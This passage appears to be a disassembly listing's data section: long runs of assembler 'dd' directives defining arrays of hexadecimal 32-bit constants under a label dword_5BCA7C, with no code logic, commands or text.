		dd 0F91CB83Fh, 7F0EEABCh, 9A5156Fh, 8E158C41h, 0BE0280ADh
		dd 199D874Fh, 5E513C0h,	0BC34FC00h, 0EE9EC28h, 0F99F006Bh
		dd 8D6739DBh, 403CE78Bh, 0B24580EEh, 6E38489h, 595C60D1h
		dd 0EE4F6CFEh, 2CEA5E00h, 9F19359Ah, 321E0099h,	96BB51DEh
		dd 0C34C733Ch, 0E2D612ECh, 52F844Bh, 0D8803D5Ah, 0E37E9Fh
		dd 0F09774B2h, 6B4F1FA1h, 0DC00EF98h, 19F5AD0Ah, 0F2553h
		dd 0ABE13CDEh, 0E2D5D1A2h, 3E960900h, 2A4E3B73h, 656F00E8h
		dd 23DE444Ch, 0C40B2768h, 72C90h, 0CD04BF24h, 30AEFCA0h
		dd 0BE89F625h, 22017539h, 0F27B1DC7h, 0C462987Dh, 0F0843D06h
		dd 8B78C068h, 0EB87660Fh, 1152E063h, 61141Bh, 0C1075B38h
		dd 66E2E623h, 88AD7124h, 50C8C0C7h, 0CF001E4Ah,	36C710C6h
		dd 8543F6h, 1ACD5C55h, 0B216261Dh, 0E6A12F60h, 1976CA3h
		dd 3D3F0FB4h, 856DDC73h
dword_5BCA7C	dd 14811511h, 0EF3ECC30h, 4408B090h, 0BE011DF1h, 18F7ECE1h
		dd 4F70A73Dh, 96E794Bh,	8DFB8371h, 0D73EF824h, 8BC99050h
		dd 0F400B76Eh, 59E49517h, 48069060h, 40EBF78h, 0B7C0C242h
		dd 1A358C66h, 70B2DB28h, 617C5E01h, 53155D22h, 2EF94160h
		dd 56F792Eh, 59AEA9h, 348DEA4Ch, 3D799256h, 7DDE1F02h
		dd 0E1804E2Fh, 0DC222050h, 0ADF48108h, 3F86E380h, 1A3B3Eh
		dd 49CB75E6h, 0FF761CE0h, 1944314Ch, 0D161D825h, 1CEBA048h
		dd 4085B214h, 0F49B4C0Dh, 42286C06h, 9100E23Bh,	0B61BB581h
		dd 7DA427E9h, 3DD22E70h, 2C2B608Ch, 4400A7DCh, 497B6321h
		dd 1F75C03h, 0F5AE51DBh, 42D68033h, 9811BBF4h, 0AC2F5610h
		dd 22DB8400h, 0D9E71841h, 1626EAD4h, 31CC05Dh, 0D640E89Ch
		dd 0D4403158h, 0FC48079Bh, 1B60FE84h, 4CFDA516h, 0D103EF87h
		dd 0BDC370DEh, 80667026h, 97FF0B08h, 0A490208Eh, 4900EC60h
		dd 0A3ABDB52h, 14E9272Fh, 0BFFCB46Bh, 0C850900h, 0C3DA0155h
		dd 23B5EA09h, 579049B9h, 38515180h, 0A8422037h,	4BFABB01h
		dd 413E8D50h, 0D409B821h, 88C009F0h, 761636BAh,	3306617Bh
		dd 2C19E97Dh, 6484AE59h, 338C888Eh, 6C30821Eh, 1E9E4C1h
		dd 8850CB32h, 4CF92D3Fh, 7C468A4h, 2EBB225Fh, 824DCCE0h
		dd 69014B3Fh, 0E3F598D0h, 0F1317501h, 0EC025C27h, 0D4E862EAh
		dd 0AA53F090h, 0ED00F1F8h, 24B71E11h, 1DD6ECF3h, 4380E5EAh
		dd 8E08DED7h, 0EFE24005h, 6848B272h, 7D46406Eh,	575C5869h
		dd 36089A4h, 81399CD7h,	14FC4929h, 3A0C07ECh, 4956C48Ah
		dd 0EE590C44h, 431D0EECh, 0AC1F0A7h, 8A22286Bh,	40AFEF19h
		dd 9020BC05h, 38717088h, 0C217075Ah, 0A500302Bh, 0A05FCF7h
		dd 0C919C6C3h, 1001A1C1h, 122EECh, 31BE740Dh, 7E46A43Fh
		dd 6425C100h, 718A925Dh, 0B6E80204h, 56BD396Eh,	54641862h
		dd 0BFB31800h, 0D9B145Ch, 29374C3Ah, 0F2D9DA03h, 0E2D1822Ch
		dd 842D63h, 0BF25BD3Ah,	9E913D6h, 0DA4C352Fh, 0DF064580h
		dd 0D58A233h, 9BD900BCh, 0B00B0A74h, 0ACF254CDh, 0EAAC002Eh
		dd 3F25A9F7h, 0B507A412h, 0AFBCB7C2h, 3EED1780h, 520238F9h
		dd 42D2B000h, 0F087119Bh, 1ABFAB00h, 0ADD08C0h,	144104B4h
		dd 0CCE3C5E2h, 6801A8F0h, 0EF741FE6h, 80648216h, 14AB0994h
		dd 40811059h, 4492D9B7h, 14C98B8h, 0C386205h, 741EB6D1h
		dd 544AFCECh, 71125D2Ch, 111C0814h, 8617BAC5h, 2866190Eh
		dd 72870271h, 5975004Ch, 7468CEBFh, 36244FB2h, 0B44094DBh
		dd 271935Ch, 6876BC20h,	986B400Eh, 2324E2E4h, 893D00DAh
		dd 9726A5B8h, 109CEC49h, 0CE00A75Ch, 682771ADh,	39134423h
		dd 3200F786h, 5A2CDD4Dh, 0AA160E93h, 0AF2094D3h, 0CBA3148Bh
		dd 400079B0h, 0DEC5961Ch, 0E5F7045h, 0EA1ECC18h, 0B1D99D03h
		dd 8008813Ah, 0B3AF4C25h, 0C0B095BCh, 27CB7850h, 1C00F0FBh
		dd 7C26C72Dh, 30D896h, 4DA06EEAh, 0BD7F67D7h, 61FFB902h
		dd 64C838E3h, 52154490h, 0BB860F00h, 0E39D6BE4h, 7972E7h
		dd 0C3D72F58h, 7FFAA545h, 6A832C1Eh, 0FF23C89h,	22017238h
		dd 46443574h, 11B2C70h,	0BA0959BEh, 0FC4FB533h,	28006CA9h
		dd 0EE70E868h, 0E3F4C9h, 0AA8DE12Dh, 0CCD90E18h, 0F30F5EFAh
		dd 80639731h, 0FC6D4B80h, 49C90EDh, 0F29F8BBEh,	0D27CC8AEh
		dd 53C1A563h, 0C61ED808h, 77DB00F2h, 9770A0A4h,	14096DBCh
		dd 0A2A6602Dh, 0E678DF54h, 0B4AE441Ch, 632B2D01h, 506DF55Fh
		dd 53CFDC0h, 0E36703ABh, 0B11407D1h, 40EF504Ah,	9400359Dh
		dd 0C5501FC8h, 7FE6012Bh, 4F3A010Ah, 2C701827h,	88D83C77h
		dd 28BA10CBh, 10002883h, 0B79FC139h, 28E651Eh, 6298DB35h
		dd 0D444E5BFh, 6836E826h, 0E02EFF60h, 6C24FBA4h, 0B8DB070Bh
		dd 109D8A5Dh, 4198DA27h, 42C2079h, 248884C0h, 7D4A4DDh
		dd 40F2EEE4h, 0C1EFC7F3h, 0F45BF900h, 0EBED612Eh, 921E06A5h
		dd 19141CBFh, 17480C16h, 0FD96DC30h, 9C7507E8h,	4079FF46h
		dd 0C70CDA8Fh, 0E9381F03h, 0E0242FA4h, 4DDA84Bh, 878C9C82h
		dd 0BE30903Ch, 0C81F923Eh, 958EFE44h, 762EA0ABh, 261ACC19h
		dd 64DCA8h, 0E2221584h,	0C092F387h, 163ED600h, 77DC4C65h
		dd 7B3C01DDh, 8B1A34CAh, 9499ED04h, 4842728h, 0D99F1E93h
		dd 1C9C888h, 50DDB4C7h,	0D0307F16h, 727BAFC3h, 59E8F601h
		dd 560D3C7Eh, 9818E4F6h, 225C42FCh, 7AF20FB0h, 581548Ch
		dd 0DCD26225h, 3496DEA9h, 0A5B64F40h, 871B00B0h, 56AF43B1h
		dd 6B00B802h, 8E218298h, 9CBAC6CCh, 7FA14004h, 1B0A237Bh
		dd 0C25BBC9h, 0E3EA09h,	5AB0577Fh, 2CC0FAE2h, 0C0F089C5h
		dd 0C857811Ch, 2092601h, 0DA2163EBh, 8E2D802Dh,	0C2950420h
		dd 0CD0F3353h, 0B31E4169h, 10E78C30h, 5B0700F0h, 9B6B4F1Dh
		dd 8EEE7771h, 0F1282AFEh, 81290875h, 1180C862h,	0F225F89Dh
		dd 394B0B28h, 2061D3D5h, 8122DF46h, 0DD4300E7h,	0CF92C30Bh
		dd 4E71A0E2h, 81D96B00h, 827EAE60h, 948C095Ch, 0D42E903Fh
		dd 8478F4A7h, 0F0A6A7h,	0C40A1C95h, 0FE41A31Eh,	3E48005Fh
		dd 0F9D68014h, 72127118h, 7C42EB58h, 98E032Ch, 644B500Bh
		dd 3CCA39E2h, 27E98881h, 64EAEA2Eh, 0F211E841h,	0FAC1AF26h
		dd 7029004Fh, 77833923h, 732D0554h, 1CC422F4h, 0F28AE0B6h
		dd 0DC720C5Ah, 0C381925Fh, 3C00B9D2h, 0E12190CBh, 3F9C9853h
		dd 0DD1239DBh, 561EEAh,	1FC06384h, 7C042272h, 15277316h
		dd 0B98E04D8h, 59230050h, 0E86AD6C7h, 0E1AF8500h, 0B7871C0h
		dd 2F7E04FDh, 0E472A574h, 0D11BC2DCh, 0E210DFE3h, 2F5C720Ch
		dd 402A3BE8h, 0A4B66008h, 7600B2C6h, 5D4BB7CAh,	4E902382h
		dd 83A8308Ah, 0AA00599Fh, 0FD0C8F63h, 8EC92Bh, 0EDC73998h
		dd 0F4C3DD74h, 0C09D0902h, 5A4AAD47h, 79D13084h, 0C1F9CE81h
		dd 0CCEEE100h, 4921F834h, 3A4C980Bh, 0D08DE2A7h, 68D0BADBh
		dd 44822F0h, 0BD23BFC2h, 2A98F482h, 998F5988h, 0C7DE0034h
		dd 0EFA410D2h, 0F9031204h, 2A80B09Dh, 17F6C654h, 906445D3h
		dd 27EC1E28h, 29843616h, 9506823h, 0DE31E871h, 9440C99h
		dd 993C20F6h, 5400E91Eh, 0AFB8EFCEh, 45FA59h, 0DB41647Ch
		dd 0D6EAA947h, 3D3ED209h, 48888B95h, 3AE82Ch, 8EAADCF4h
		dd 59C0BF8Fh, 0F275070Bh, 0E90C405Dh, 6B7D80A7h, 584271C0h
		dd 61C1A980h, 4ABC1089h, 0C7302D94h, 0ACF0119Fh, 0BCEDDFh
		dd 31C75F6Ch, 0DC397512h, 0A7AF12Fh, 0FB0854DCh, 80F02992h
		dd 3BA27C43h, 9DF225BDh, 2E915501h, 0D9ABE924h,	44D68870h
		dd 872786BAh, 745C0FBBh, 673480F0h, 13D5BAh, 2AA22459h
		dd 14EF27BCh, 704B5D5Ah, 4498C458h, 9200A55Ch, 0ADC34D53h
		dd 0A15DD2h, 0BE6CF4ACh, 7198FBD0h, 0A194F1Eh, 1262B4A4h
		dd 14AC8A40h, 1CFC137h,	0F4E4DC38h, 1389DDF0h, 202A35E8h
		dd 0C02B0B08h, 0ED544682h, 2807ECh, 30F1C720h, 741C84D9h
		dd 12DC7A00h, 0F595214Ah, 0A5371789h, 254881D3h, 7184506Ch
		dd 0B0B68F5Ah, 4AEE9B80h, 370450B1h, 0C0795DA4h, 7D081CE9h
		dd 0B615E000h, 36C5EC14h, 0A9F613ABh, 0C218C8BBh, 2AA1E400h
		dd 0D695D393h, 47E4EBD7h, 0D016011Eh, 484003C7h, 7DD8F432h
		dd 0AA3ABCB8h, 1CEF2CCAh, 68D1A70Bh, 642D84h, 548BBDC5h
		dd 5D76B70h, 3CD92401h,	5333A463h, 43710820h, 0CCD42A5Eh
		dd 88064Ah, 0C90900AAh,	0F6209C73h, 47263FABh, 3605A0C5h
		dd 8823D131h, 9C31501Fh
		dd 0C68ACDh, 0D286C916h, 0EDC64700h, 0FF4DF1A7h, 7FCAA02Ah
		dd 0DB77DD02h, 58280836h, 7CC30064h, 0E9BD5FCh,	0A502916Bh
		dd 3D0F0A04h, 73BC8E71h, 8B359400h, 0FDAE2C9Dh,	0B8A06438h
		dd 4F00BC23h, 502AA5CEh, 126893C9h, 55FB420h, 32D937ABh
		dd 0E822B2E8h, 8090652Dh, 0ADC1DE62h, 4002BA10h, 0ECF0254Ah
		dd 80107989h, 93C334BDh, 990FFC1Fh, 0C0ED7985h,	0B1569EB7h
		dd 0B03B0786h, 0B00E94FAh, 785A7542h, 0B2FE30A0h, 1C016AB8h
		dd 461FACECh, 32A8C7Dh,	9323BB74h, 0D7EF2916h, 4A59F020h
		dd 0D0780F77h, 3682E998h, 0A080EFBCh, 8B09FF33h, 950F1090h
		dd 66619D12h, 0DA71AF24h, 608051F0h, 0FD0A5A0Bh, 98F0CF6Ah
		dd 248F1908h, 6D5B6058h, 0C3FC32E1h, 9216E300h,	6E3DFC7Fh
		dd 243009B5h, 24057BC9h, 8DD800EAh, 58AD75AEh, 335C8E50h
		dd 0FE8D7850h, 64654CA8h, 0A13BE311h, 2654205Eh, 7624DC5Eh
		dd 0A11434EBh, 0B939C4D4h, 49D73A44h, 245906h, 9928E97Fh
		dd 9C4B78A4h, 10D84810h, 0E80AAD14h, 0A51CD538h, 5DB5C48h
		dd 0E91BC41Fh, 172AD2C0h, 4F4FD4Ch, 46BB7C0Ah, 0C4E81454h
		dd 0D0A4081Fh, 0A924013Fh, 450A7043h, 68A448D0h, 0EC0688h
		dd 0C1AAE109h, 4C964080h, 24317105h, 9C17927Dh,	0B480F0CDh
		dd 21D3A21Fh, 28180C6Ch, 89798CF1h, 0A5620F50h,	0D8135A0Ah
		dd 2CB0D3FCh, 9D7F343Eh, 81927D43h, 8C082027h, 5F3940D1h
		dd 0F15EAF00h, 3C6720D5h, 0AED60226h, 7FCF2C3h,	881E0066h
		dd 29C0B865h, 575D4ADh,	3B07503h, 761FC574h, 80D94778h
		dd 0C0002A2Fh, 54E41CE7h, 8A31020Eh, 344B1EECh,	0C7026454h
		dd 90837017h, 0FD55F8h,	11F9EEA3h, 0E540D7F8h, 880AF58h
		dd 918CBA3Ch, 26BC0BC9h, 0E98CE487h, 25204210h,	0F0163C28h
		dd 0DC4FC976h, 0C8422C5Eh, 8B74A59Dh, 86F038F4h, 5EFC381Ch
		dd 0F38F7382h, 8E83BA8h, 0C644D3D1h, 4718882h, 53CC4A14h
		dd 5FC910DCh, 7044674Eh, 1AB8D4C1h, 82110500h, 68DA56Eh
		dd 0EB340030h, 0F622FF5Bh, 0E921D268h, 0F2F80FD9h, 9A30491Fh
		dd 31ECFC05h, 2EACDBDCh, 2FA5B060h, 162000BAh, 0D7821203h
		dd 0F02FE0Eh, 0B68F3A2Eh, 0DC84083h, 0A2828065h, 0C7249095h
		dd 5BA9001Fh, 5733EC07h, 840409BBh, 74351026h, 0D09D04D1h
		dd 848A5B08h, 0C240AC38h, 9BF1242Fh, 3101F891h,	3201EC8Dh
		dd 0F0628823h, 0C4A0BA84h, 0A4E0F1B5h, 80244800h, 0E31E3061h
		dd 0E6E01F3h, 0F02D8BC4h, 0AB2410Dh, 5A4052B1h,	0F0670B11h
		dd 8044151Bh, 40C6293Eh, 5D590106h, 0C8D2B004h,	37502458h
		dd 2F7EBC02h, 0E8C1EE48h, 49B4458h, 0E3E9177Ch,	80CB431h
		dd 3C014A1Fh, 271634Bh,	1986F590h, 9D987213h, 0F026D500h
		dd 1DC06081h, 976B17Eh,	60191423h, 0D2F209BBh, 0E3EA0D2Ch
		dd 9EB9A72Fh, 9E0E7A9h,	0AEDF0760h, 1F292C10h, 338DEC00h
		dd 13527035h, 2CD001C4h, 0D7983CEAh, 571080A4h,	8FBA8750h
		dd 12B740DFh, 0D5436800h, 3829C416h, 6029DFA1h,	91DBD721h
		dd 6C3000C7h, 0FDAAE5EEh, 0CFDD18EAh, 8F2F7057h, 7A411500h
		dd 29FB427Dh, 51C86223h, 14804E12h, 7A6080B8h, 0A9452703h
		dd 0E4A44455h, 1E831440h, 0E96F4932h, 7EAB8010h, 0F1E76Bh
		dd 407CC5FBh, 0C2FD137h, 4B192B02h, 8F606A41h, 0FC301138h
		dd 0CD241309h, 0D2D8BD00h, 4265B456h, 0EE5A007Bh, 0C969B8FBh
		dd 0E2398332h, 7A1902C6h, 8F6B0D90h, 7BBA65D4h,	1C8EA006h
		dd 0FEDE00A1h, 5D1E4CE7h, 0EAF8E27Dh, 2E07A17Ch, 123A2B55h
		dd 8C6D00CBh, 635BC3A9h, 0AEB439DCh, 1A439100h,	0E7420A4Bh
		dd 11450003h, 4090DDEFh, 6F06295Ah, 7D06A9FAh, 72FF20A8h
		dd 9474307Ah, 52C3D1C2h, 0C48FB9h, 3BFA6D0Ch, 0D51B07EBh
		dd 0D7FE56h, 0A92291F7h, 3EECC207h, 0F3C74F2Fh,	94767440h
		dd 77360052h, 8ECED98Fh, 0F20051F7h, 0AFAE8A23h, 294111D4h
		dd 9CD45215h, 0ACE8015Ah, 580AA7C3h, 0D5002C68h, 4C8C6A1Fh
		dd 0BE1AE0h, 0F8B86FE9h, 0C14FA524h, 0F5EA4302h, 48D61F70h
		dd 0C16CF00h, 2187242Ch, 4003A51h, 154E9AADh, 5AEE81h
		dd 302F2564h, 0DF5078C1h, 0D0A50501h, 0C8315FAEh, 0BEA88453h
		dd 49371241h, 973040D8h, 0E8D2ED63h, 552FE100h,	0FBA35E6Dh
		dd 0A9F70026h, 0A8C9CF51h, 2E60ADD1h, 482F2E9h,	0C84A0071h
		dd 32D4F723h, 5B1268C1h, 800A13DAh, 0CF14CD8Fh,	0C39C4060h
		dd 0C4A3A92Ah, 3E343703h, 1033BF26h, 88062FB0h,	3850BC05h
		dd 5A09004Fh, 0F3B26861h, 0B4A0B67Ch, 4A20D576h, 32C86A9h
		dd 2B36EEADh, 0E535B9h,	4A24DC94h, 0E3027053h, 0AA9E8FFFh
		dd 4E1360DDh, 57D900B2h, 9D2F321Ah, 0E73044E2h,	0F29499BDh
		dd 2E83B815h, 1ECB773Ch, 0A69A80C7h, 4E8DAC6Ch,	12ADD600h
		dd 19B83529h, 7AC63CB6h, 96F428E0h, 0A7E81536h,	0E1E66FF0h
		dd 183D6Fh, 87AFD63Fh, 0C80F2D7h, 0E6ADD0DCh, 0DA00C728h
		dd 0CFF81429h, 8EAAC4h,	0A9FB44C3h, 884AEDECh, 3603E87Dh
		dd 68F3241h, 2968080Dh,	6702F6DAh, 20C1728Dh, 2892EFF5h
		dd 29370D1Eh, 7B1F94C3h, 0AE12B0BBh, 322C3C62h,	0C6B70783h
		dd 0A118A079h, 0BF41CF70h, 0B48A03D1h, 0CD0CAD37h, 15592D80h
		dd 0DD412714h, 1A3C0C80h, 88C884Dh, 0F4BAB090h,	0AAEEAE80h
		dd 12C0BBh, 6B371CFEh, 7C7BC6ABh, 0DD8769C0h, 0E500E35h
		dd 9995DF26h, 2079AF60h, 0F30CB663h, 511C2C96h,	2B7F00ACh
		dd 0AE284FEDh, 19C30E57h, 0B8FE04BFh, 0A62A0B6h, 0A8CA9ED2h
		dd 5105BAC0h, 2027FC14h, 79C234BCh, 306DB028h, 3CF54D20h
		dd 805274C6h, 713CAC22h, 92F78E3Ah, 2818BF22h, 5C7219h
		dd 33364475h, 58FD8DDBh, 8041848h, 3F1AE2E1h, 38749228h
		dd 6E80CEB0h, 0FEFC297Ah, 0A7006834h, 8BB63FE0h, 121E0260h
		dd 202B86A6h, 2E4F8318h, 0C4402048h, 8500B6B5h,	114D29FCh
		dd 0AA5934A0h, 66439680h, 9E041D3h, 0E5D6D4F9h,	0CAF3CD00h
		dd 66C65890h, 0B278C534h, 4184F9h, 5219BB20h, 9A032F46h
		dd 0C2DA6887h, 0D567F0B2h, 0CA8D2CCDh, 1C9831BDh, 88A008DFh
		dd 0C3542DFBh, 0C505790h, 4C0C6844h, 0B8822904h, 7AFB4419h
		dd 22B89552h, 437B3935h, 0BFDB7F12h, 0E20A720Fh, 903E23AAh
		dd 30D2E694h, 0A431BA70h, 3600DAD7h, 0F8AB202Fh, 0B7ECB3h
		dd 0A66641A5h, 79C770CBh, 0F86E4C29h, 0E0152D11h, 87039011h
		dd 4CA83DBEh, 0B3FB5BE8h, 0EE18C800h, 0CFA78BD2h, 0FAF90119h
		dd 0B824376Ah, 41402150h, 11E97918h, 0F6C8A83Ch, 0DFB3959h
		dd 0A1C51618h, 0FC60E0D0h, 1F4F2569h, 1C25B87Dh, 42859DADh
		dd 0A4DBD392h, 0F4C3CD80h, 0CD5358D0h, 9E6109D0h, 8E4C1015h
		dd 0EA3F0E9h, 0EA429557h, 21142227h, 421EC423h,	0C118F4CCh
		dd 801891A7h, 0B6245CD9h, 2A069470h, 9015C263h,	0DC8C0059h
		dd 0BE191BDAh, 82132B09h, 8107C5CAh, 0E741F765h, 6090AC32h
		dd 8406C8F0h, 8CBD8594h, 0EE88FF3Ch, 0C49600C2h, 8A6F9067h
		dd 3FF2B627h, 60988576h, 5C0EA11h, 204A2C12h, 0AA577FC4h
		dd 0FF10C389h, 370014B0h, 620A4C2Ah, 51399A1Dh,	5CE1BC46h
		dd 0A5889400h, 9049BB00h, 0FEADB592h, 0A447705Fh, 4C2878A8h
		dd 0CF229036h, 0E5025200h, 15BA116Bh, 96F10084h, 38C64B25h
		dd 0CA18500Bh, 78D1F9ADh, 0DBFC1384h, 4E9C0E02h, 44E88810h
		dd 5D564722h, 0C27D9560h, 6B3B0038h, 0BB8B7A3Fh, 6091F3CAh
		dd 0E02E8C8Fh, 1442C287h
		dd 61DF00CCh, 0DED87237h, 7F135376h, 6830F04Fh,	4415A149h
		dd 6200D695h, 0AA491B2h, 4E13E08h, 6DDAE99Dh, 0BC74C133h
		dd 8612086Eh, 34877C44h, 1E1953BAh, 0A8D01AE4h,	0A8099843h
		dd 86B793Ch, 0D50BA0BCh, 0FB03863Eh, 0BDC20031h, 7E0CD416h
		dd 310019D2h, 8C54F1CCh, 468DD61h, 649BE193h, 2984C816h
		dd 0FDD94C00h, 0BEBDD717h, 824414DBh, 4A21A8ADh, 2012D691h
		dd 0F614282Bh, 8C9A17F9h, 4816344h, 2882BF9Ah, 0C83A95B8h
		dd 0CEA4AC21h, 0F376B433h, 495BC60h, 0E0B2EB83h, 0C0294E11h
		dd 32FE6DEh, 96E642h, 6C16E86Fh, 59453A23h, 0C6678E19h
		dd 4C0C06B1h, 29C0428Ah, 4C18163Ch, 0EA07848h, 6CF8A5BDh
		dd 0DB68F700h, 2B6046AAh, 27B90239h, 0CCA667AEh, 8900046h
		dd 513FB22h, 79C167A7h,	7688C98h, 0D448E089h, 5EF717A2h
		dd 5CB0067h, 137D5A45h,	0A1518C16h, 0A4EAE008h,	0BB711E0h
		dd 0A08E3AB9h, 7E978578h, 5D9D6C5h, 34801F9h, 4F1A8F08h
		dd 498D4AF0h, 844D3D00h, 7B0F734Ch, 39F306F8h, 605F72AFh
		dd 901B2C2Ah, 0A9665730h, 5F984D4h, 21F99ADh, 5631C0D3h
		dd 0D60076A5h, 7A523058h, 0C6CA2EB7h, 79C037E0h, 0FFC670Ch
		dd 26DFB1AAh, 609CF249h, 4C8CA359h, 0D4562C29h,	6070C4B8h
		dd 59EA3937h, 2B0099EFh, 421E0813h, 4D92AA3Ch, 0B0002806h
		dd 0DD8E2F7Bh, 90E20E2Eh, 187F3305h, 0E08535DCh, 0E034E88Dh
		dd 70408437h, 23DF42D0h, 0F49D08B3h, 0D5936701h, 27D06190h
		dd 2E97015Ch, 47427C88h, 0E64D459h, 0EB8E5400h,	956BA54Eh
		dd 6A8D0F89h, 51A0D914h, 52928247h, 0F98A8F34h,	7F91C887h
		dd 1C24AC1Ch, 163B03B3h, 8DB9AA69h, 88FEA17Ch, 9339FE0Ah
		dd 0F14FD071h, 1C56D024h, 310AD8ECh, 0DB7E14C3h, 8FD15900h
		dd 72DFB6C0h, 0B0F2003Dh, 95E48E9h, 6848C45Ch, 33E11060h
		dd 1205728h, 7FD6E6F8h,	0FC5ED0FEh, 3B00CF79h, 0BCDCAA26h
		dd 6404292h, 8895DB5Bh,	100FB9A9h, 68B1CFEh, 1A560Ch, 4A6FADB0h
		dd 0DC79AFD0h, 33927099h, 6EB9148Ch, 4686800Eh,	154AF1E0h
		dd 9555CC47h, 0B50714C0h, 1CCA489Dh, 166B51CFh,	0CFDF8C10h
		dd 35C04B01h, 3227A6FAh, 861B6820h, 68912545h, 669406E3h
		dd 91C442h, 0F237DD4Eh,	0CB6F0BCh, 425D001h, 87B3ACF1h
		dd 8561C021h, 99B83840h, 82B4917Dh, 0E48022Bh, 53065420h
		dd 2895715Dh, 4380D5BDh, 1CC222C4h, 8F750E67h, 7B2FBFD0h
		dd 1F0C9720h, 8862AFF7h, 61C19E70h, 0B4621594h,	0E90EE400h
		dd 2B747646h, 0ABC8D00h, 3A4E6992h, 9C2615F8h, 9B074C73h
		dd 198DBAC6h, 8BB410AAh, 0ECA2D46Dh, 23290279h,	1893F2CCh
		dd 715815E0h, 3E772E43h, 0F0857200h, 0B1550F5Fh, 0A23A3907h
		dd 0D54DD282h, 4001A5AEh, 242C4979h, 0EA457863h, 46011E4h
		dd 0EC599C89h, 0CFE4F3C0h, 849E020Ch, 5537171Ch, 0C62BF783h
		dd 0F6E0C118h, 1886641h, 40BA8544h, 30273FC9h, 0D386FEECh
		dd 524401E1h, 649B7A51h, 86263CE0h, 8D409041h, 37D3DE70h
		dd 84915D7Ch, 0FD0CD0CDh, 3F001BE0h, 848ADB61h,	3782371h
		dd 752F5C1Dh, 70A8EB5Eh, 0F494A02Eh, 52AA8143h,	0D402E0E1h
		dd 856205FDh, 72CF9CE0h, 0ED3A5F42h, 0D9DF7E44h, 0B0CF1F09h
		dd 287134E0h, 0F0D010E5h, 202B34FBh, 0FC0882A1h, 5279420h
		dd 1F8B095Ah, 0E4023577h, 0B90228EDh, 2D402C45h, 2C673D44h
		dd 6150CF58h, 0C88590F1h, 6496C844h, 74339C64h,	9894E11Eh
		dd 40224717h, 608CE6A5h, 36FD2B8h, 0AF011719h, 0FBEA93D4h
		dd 0F3F4FF67h, 38680D4Fh, 3459A724h, 62FDB0B0h,	88388C4h
		dd 6042615Ch, 3880E6E8h, 18C2B68Dh, 0CA39D148h,	721C000Dh
		dd 0DBC14335h, 3F2E8417h, 230890DDh, 87200012h,	4E4BE083h
		dd 2AC0C301h, 9115BBF6h, 0A22C6180h, 415D97DCh,	11BFAC38h
		dd 0C70FDF05h, 0CBE1D291h, 70AB7988h, 44868CD8h, 0C84C6713h
		dd 62F0222h, 0C05A35D6h, 3840514h, 68D08818h, 58C8DFBEh
		dd 78005BF8h, 54FEFC65h, 339CD2Ch, 12AE3536h, 888CD529h
		dd 54915ED0h, 0B100C411h, 9F8F1DCCh, 0EA007B94h, 0A4B79C96h
		dd 1216E065h, 82AB7E99h, 0E02004h, 4D2C78DDh, 0B08208Ah
		dd 49F54472h, 0C3980267h, 3A96011Dh, 21DC63BFh,	1D688A10h
		dd 0D8354098h, 57007D45h, 58F8B9C2h, 2D48C6h, 0A33C672Bh
		dd 8C76BAC5h, 477B8A1Dh, 1E4C2025h, 91166887h, 0B0C20198h
		dd 0D49740EEh, 61590776h, 63341018h, 98A4A188h,	4AFB4607h
		dd 95D7E3D0h, 1EBB2C26h, 0A2799D64h, 7B4A6080h,	0E7DE060Ah
		dd 0E000E00Bh, 0C71E25A3h, 0BD5B0043h, 367ABCE6h, 1B0083EBh
		dd 27BA9466h, 1F70F8ECh, 1EC810D1h, 0E95389C3h,	0AC2EA810h
		dd 800E0CE8h, 800D6276h, 6BEDEEFFh, 0A2F0E9F2h,	9300077h
		dd 762E41F5h, 85012205h, 6E30788h, 63E887EDh, 388E60B3h
		dd 0F4E6D574h, 79FDA21Eh, 653298BCh, 2D6248h, 8302AAB6h
		dd 0F1654EFh, 0F4253900h, 0FB53B1D2h, 3E6A1CBDh, 5C8F0004h
		dd 75427901h, 495359C3h, 8048000Ch, 4890F496h, 0AB000D20h
		dd 9B7C3DFBh, 3F603284h, 34034A87h, 0EF420503h,	0BC1F3000h
		dd 0F58BA335h, 7F6603C0h, 12D22436h, 0EC0882B0h, 490BF10Ah
		dd 0DB0E3001h, 0F957801Ah, 0FEA4FA7Ah, 4A7E03A0h, 0F84B6D8Fh
		dd 705293Fh, 0E5AFFD16h, 9280B577h, 18756127h, 0B88F4F7Bh
		dd 70F81D87h, 0FB3F0A00h, 968B73DDh, 0B0A0D1CAh, 0E91C803Eh
		dd 0DDAC8181h, 0E3E36F0Bh, 0EDFF1806h, 2969CEh,	0E7BC1860h
		dd 568F490Dh, 63816103h, 2AC926E2h, 2A28EFF0h, 38357Eh
		dd 616CC5AEh, 92F6F57Fh, 48F1F0Ah, 8084CCEFh, 1280F470h
		dd 7C55F9E3h, 98ED196Bh, 0DF495138h, 83032907h,	3EC74D29h
		dd 77728D0h, 684C6C91h,	98887D80h, 81C1C030h, 0B259BA9Fh
		dd 49447500h, 141DAE74h, 0FD35013Eh, 970D11B0h,	6AE02F12h
		dd 83370E72h, 3E463160h, 52AD920h, 7612E43Ch, 504E1A61h
		dd 5B35036Ch, 55B9D07Dh, 464A1DF6h, 0E6ED401Fh,	78E0384Bh
		dd 6F5D8E1Eh, 0AE6ACAC0h, 155F380h, 741BE249h, 83EB8D39h
		dd 0B81EC5A9h, 0F7B1888Eh, 8AB4005Eh, 6872F0D7h, 0A024E33Ah
		dd 0ED1668B0h, 1F8C9011h, 0D7D27F3Ch, 69753841h, 0DC48E8E3h
		dd 496C4498h, 0B9011891h, 6FF5B099h, 8EF8DBF9h,	3C6AEA63h
		dd 5E8CECB7h, 6F41346Dh, 1FB3C53Ch, 0F9156445h,	8F137C80h
		dd 0EC03F3EEh, 664B73h,	4DDFD759h, 0B735A87Dh, 49870739h
		dd 8A6211CCh, 0D0EA0314h, 0AB776FB0h, 111523Fh,	0B11D9C75h
		dd 0DAC49374h, 0FCD13E56h, 603C0882h, 0AC444863h, 80EE7722h
		dd 7CA147BCh, 63E931FCh, 32677619h, 2AB84024h, 24A59D88h
		dd 403CB95Eh, 37874478h, 356FD939h, 74003084h, 11EF372h
		dd 0FB6101A7h, 0C08F09F6h, 814C203Eh, 7589DD74h, 2D892710h
		dd 0D0A83Fh, 2EC2592h, 981C601h, 0ED45C9E3h, 9A19B002h
		dd 0D3101F11h, 39140499h, 228C54B5h, 302A00F9h,	407466CBh
		dd 0BE0239B0h, 76379C8h, 2B7844E9h, 7840E02h, 4939C713h
		dd 91144500h, 0D6281098h, 3C81C581h, 86A717ECh,	85102F89h
		dd 0C0735E4h, 2848838Ch, 84E90064h, 988EF2DBh, 66020640h
		dd 0FE876370h, 7F040E7h, 67B4A805h, 903902A7h, 99F55BFDh
